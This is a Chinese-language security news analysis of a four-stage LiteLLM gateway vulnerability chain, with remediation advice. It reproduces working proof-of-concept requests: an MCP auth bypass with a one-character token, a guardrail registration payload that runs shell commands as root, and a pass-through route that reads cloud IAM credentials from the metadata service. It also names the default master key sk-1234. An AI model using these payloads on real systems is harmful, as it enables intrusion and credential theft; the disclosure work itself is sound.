摘要

報告分析 LiteLLM 中揭露的一條四階段漏洞鏈。LiteLLM 是一套被廣泛部署的開源 AI 閘道(Gateway),該漏洞鏈讓攻擊者能從單一畸形 HTTP header 一路進展到 root 權限的程式碼執行與雲端認證外洩。每一條有漏洞的程式碼路徑 — MCP 認證 fallback 邏輯、未沙箱化的 guardrail 執行、預設管理員授權,以及未驗證的 pass-through routing — 都直接依據主要研究發表的原始碼節錄進行檢視。
你的 AI 閘道正在裸奔?LiteLLM 預設管理員與 RCE 連鎖危機! | 資訊安全新聞

1. 背景:LiteLLM 作為單一信任點

LiteLLM 以兩種模式運作:一是 Python SDK,可直接整合到應用程式;二是代理/閘道模式,對外提供統一的 OpenAI 相容 API,並在百餘個 LLM 供應商前端強制執行預算控制、虛擬 API 金鑰,以及防護政策。由於 proxy 會終止每一個 inbound request、儲存每一個供應商認證、在每次推論呼叫時執行伺服器端 Python,並且能透過 Model Context Protocol(MCP)橋接到外部工具,因此一個被入侵的 instance 很少僅限於 API key 外洩 — 它是進入該容器可觸及的更廣大雲端環境的立足點。

一項針對約 3,000 個對外暴露的 LiteLLM 部署所做的掃描發現,9.6% 接受文件記載的預設 master key( sk-1234 )或完全不需要認證,其中 6.2% 完全沒有任何認證 [1]。master key 不僅是管理員認證;它同時也兼作簽署 session JWT 所用的 HS256 secret,而且它仍是專案快速入門指南與 Docker Compose 檔案中從頭到尾顯示的範例值 [2]。這種單一 secret 的設計,正是底下所分析每一條提權路徑背後的根本結構性弱點。

2. MCP 認證繞過(CVE-2026-59822)

MCP endpoint 使用與 LiteLLM 主要認證路徑不同的 handler,原本設計是要同時支援兩種認證類型:原生 LiteLLM API key,以及原本打算 pass through 給上游 MCP 伺服器(例如由 GitHub 或 Atlassian 支援的伺服器)的 OAuth2 token。設計意圖是無效的 LiteLLM key 應該單純被當成不透明的 OAuth2 token 轉送,交由上游伺服器判斷。但實作卻把驗證失敗當成隱含的認證成功。

  1. # user_api_key_auth_mcp.py — fallback branch triggered on ANY Bearer token
  2. # that fails native LiteLLM key validation (i.e. every "normal" bearer
  3. # request that isn't a valid LiteLLM key).
  4. elif oauth2_headers:
  5. try:
  6. validated_user_api_key_auth = await user_api_key_auth(
  7. api_key=litellm_api_key, request=request
  8. )
  9. except HTTPException as e:
  10. if e.status_code in (401, 403):
  11. # BUG: instead of forwarding the token or rejecting the request,
  12. # an empty (unauthenticated) auth object is silently returned,
  13. # granting a valid session with no credential check at all.
  14. validated_user_api_key_auth = UserAPIKeyAuth() # bypass
  15. else:
  16. raise
程式 1 — MCP 認證 handler 中有漏洞的例外處理 fallback。
  1. POST /mcp/ HTTP/1.1
  2. Host: <target>:4000
  3. Authorization: Bearer a # single-character garbage token
  4. Content-Type: application/json
  5. Accept: application/json, text/event-stream
  6. {"jsonrpc":"2.0","method":"initialize","id":1,
  7. "params":{"protocolVersion":"2025-03-26","capabilities":{},
  8. "clientInfo":{"name":"attacker","version":"1.0"}}}
  9. # -> HTTP 200: a valid mcp-session-id is issued even though "a" was
  10. # never a real LiteLLM key or a real upstream OAuth2 token.
程式 2 — 以任意 token 建立已認證 MCP session 的單一 request 概念驗證。
sequenceDiagram participant Attacker participant MCPHandler as MCP Auth Handler participant KeyValidator as user_api_key_auth function Attacker->>MCPHandler: POST to mcp endpoint with Bearer token a MCPHandler->>KeyValidator: validate token a KeyValidator-->>MCPHandler: raises HTTPException status 401 MCPHandler->>MCPHandler: catch 401 or 403, return empty auth object MCPHandler-->>Attacker: 200 OK plus mcp session id, authenticated Attacker->>MCPHandler: call arbitrary MCP tool MCPHandler-->>Attacker: tool result from connected system
圖 1 — 單一畸形 token 如何變成一個完全已認證的 MCP session。

一旦進入,攻擊者就取得完整的 MCP 協定介面,而不只是讀取權限 — 包括以任意參數呼叫工具。這是否能觸及資料庫、內部 wiki 或 CI/CD pipeline,取決於組織如何設定它的 MCP 伺服器;LiteLLM 自己的文件針對「低風險」內部工具所推薦的 allow_all_keys flag,會讓這類伺服器也能被這個空的、被繞過的認證觸及。

3. 認證後透過客製化程式碼 Guardrail 的 root 權限 RCE(CVE-2026-59821)

Guardrail 讓管理員定義在每次推論 request 時執行的類 Python 邏輯。Web UI 的「Run Test」按鈕會強制執行沙箱:它會依據禁止樣式清單檢查送出的程式碼,並在執行前清空 __builtins__ 。但另一個註冊 endpoint POST /guardrails 兩項控制都沒有套用。

  1. # custom_code_guardrail.py — _compile_custom_code()
  2. exec_globals = get_custom_code_primitives().copy()
  3. # BUG: unlike the test endpoint, __builtins__ is never stripped here,
  4. # so Python repopulates it automatically and the submitted code gets
  5. # the full standard library (import, os, subprocess, etc.) with no
  6. # forbidden-pattern check applied first.
  7. exec(compile(self.custom_code, "<guardrail>", "exec"), exec_globals)
程式 3 — 只有註冊 endpoint 能觸及的未沙箱化 exec/compile 路徑。
  1. POST /guardrails HTTP/1.1
  2. Authorization: Bearer <master_key>
  3. {"guardrail":{"guardrail_name":"rce-poc","litellm_params":{
  4. "guardrail":"custom_code","mode":"pre_call","default_on":true,
  5. "custom_code":"import os\n_cmd = os.popen('id').read().strip()\n
  6. def apply_guardrail(inputs, request_data, input_type):\n
  7. return {\"action\": \"block\", \"reason\": _cmd}"}}}
  8. # The command executes immediately at registration time (during module
  9. # initialization), before any chat request is even made. A subsequent
  10. # chat completion simply surfaces the stored result as the block reason:
  11. # "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon)..."
程式 4 — 在 guardrail 建立時以 root 身分執行 os.popen('id') 的註冊 payload。
sequenceDiagram participant Attacker participant API as POST slash guardrails participant Compiler as compile_custom_code function participant Chat as POST slash chat completions Attacker->>API: register guardrail with custom code payload API->>Compiler: exec compile custom code, no sandbox, no filter Compiler-->>Compiler: import os module and run shell command Note over Compiler: command runs as root during initialization Attacker->>Chat: send any chat completion request Chat-->>Attacker: guardrail block reason contains root shell output
圖 2 — 程式碼在 guardrail 註冊時就執行,早於任何推論 request 的發出。

由於這個有漏洞的 endpoint 只需要有效的 API key,而非管理員角色,實務上的問題就變成攻擊者一開始能多輕易取得管理員層級存取 — 這正是接下來兩項發現要處理的。

4. 預設即未認證的管理員

當沒有設定 master key(也沒有 JWT/OAuth2)時,LiteLLM 的認證 handler 過去會把 PROXY_ADMIN 角色指派給每一個 inbound request,而不只是讓它未認證通過。雪上加霜的是,即使設定了 master key,guardrail 的 CRUD endpoint 與 config-update endpoint 都沒有檢查該角色 — 任何有效的 API key 就足夠。再加上第 1 節所討論的 master key 暴露,這意味著在相當比例的對外暴露部署中,guardrail RCE 實際上完全不需要事先取得任何認證就能觸及。

5. 認證後透過 Pass-Through Endpoint 的雲端認證竊取

LiteLLM 讓管理員定義 pass-through 路由,將 request 轉送到任意目標 URL,且不針對私有 IP 範圍、localhost 或雲端 metadata service 做任何驗證。再加上預設或被繞過的 master key,這就把管理介面變成直通該 instance 雲端身分的路徑。

  1. # Step 1: register a pass-through route pointed at the instance metadata service
  2. POST /config/pass_through_endpoint HTTP/1.1
  3. Authorization: Bearer <master_key>
  4. {"path": "/meta", "target": "http://169.254.169.254/latest/",
  5. "headers": {}, "include_subpath": true}
  6. # Step 2: read the temporary IAM credentials for the attached role
  7. GET /meta/meta-data/iam/security-credentials/<role_name> HTTP/1.1
  8. Authorization: Bearer <master_key>
  9. -> {"AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "..."}
  10. # Any header prefixed "x-pass-" is forwarded with the prefix stripped,
  11. # e.g. x-pass-X-aws-ec2-metadata-token-ttl-seconds becomes
  12. # X-aws-ec2-metadata-token-ttl-seconds at the target — defeating the
  13. # IMDSv2 token-based protection as well as IMDSv1.
程式 5 — 用來外洩暫時 IAM 認證的 pass-through 設定與 metadata service request 鏈。

這項功能本身在 LiteLLM 的威脅模型中並不被歸類為漏洞,因為該模型把管理員視為本質上可信任;安全問題具體出現在它與預設認證或第 2 節所述的認證繞過結合時,實務上打破了那項信任假設。

6. 討論:閘道作為雲端攻擊介面

這些發現都可追溯到相同的結構模式:原本限定於可信操作者的功能,在沒有操作者的情況下也能被存取,原因是驗證機制退化成單一 shared secret,而非分層且具角色感知的檢查(Role-aware check)。這個模式並非 LiteLLM 獨有。透過未驗證的對外 request 進行 metadata service 外洩,是攻擊者在 cloud workload 中取得任意程式碼執行或代理立足點後的慣用技巧,這個模式在更廣泛針對雲端身分系統的認證竊取行動中也曾被記錄( 一份關於初始雲端存取後 IAM 認證濫用的分析 )。同樣地,這裡 MCP 層的暴露,也與其他在別處報導過的 MCP 特有弱點並列,包括嵌入工具描述中的 prompt-injection 向量( 一份關於 MCP prompt-injection 風險的報告 ),以及 MCP client 元件中由不受信任伺服器連線觸發的另一個遠端程式碼執行瑕疵( 一份關於 mcp-remote RCE 漏洞的技術解析 )。綜合來看,這些案例支持把 AI 閘道與 MCP 基礎設施視為第一級安全資產,而非開發者便利工具,因為它們把認證、程式碼執行路徑與內部工具存取集中到單一 process 中。

7. 修補建議

  • 以強大、唯一的 secret 取代預設 master key;絕對不要在生產環境留下 sk-1234
  • 升級到已修補的版本後,重新啟動 proxy 並稽核已註冊的 guardrail,找出非預期的項目。
  • 稽核並限制 pass-through endpoint 的目標,並在不需要時封鎖容器對 169.254.169.254 的對外連線。
  • 對閘道的服務身分套用最小權限的 IAM 角色,讓被入侵的 instance 造成的橫向觸及降到最低。

結論

這裡所分析的鏈展示了單一被忽略的例外 handler、一條程式碼路徑上缺失的沙箱檢查、一項預設管理員指派,以及一個未驗證的 proxy 目標,如何複合成一條從畸形 HTTP header 到 root 權限程式碼執行與雲端 IAM 入侵的路徑。當 AI 閘道在同一個地方累積認證、執行權限與工具存取時,它們的認證與授權邏輯就值得獲得歷來保留給 Identity provider 與雲端控制平面(control plane)的同等檢視。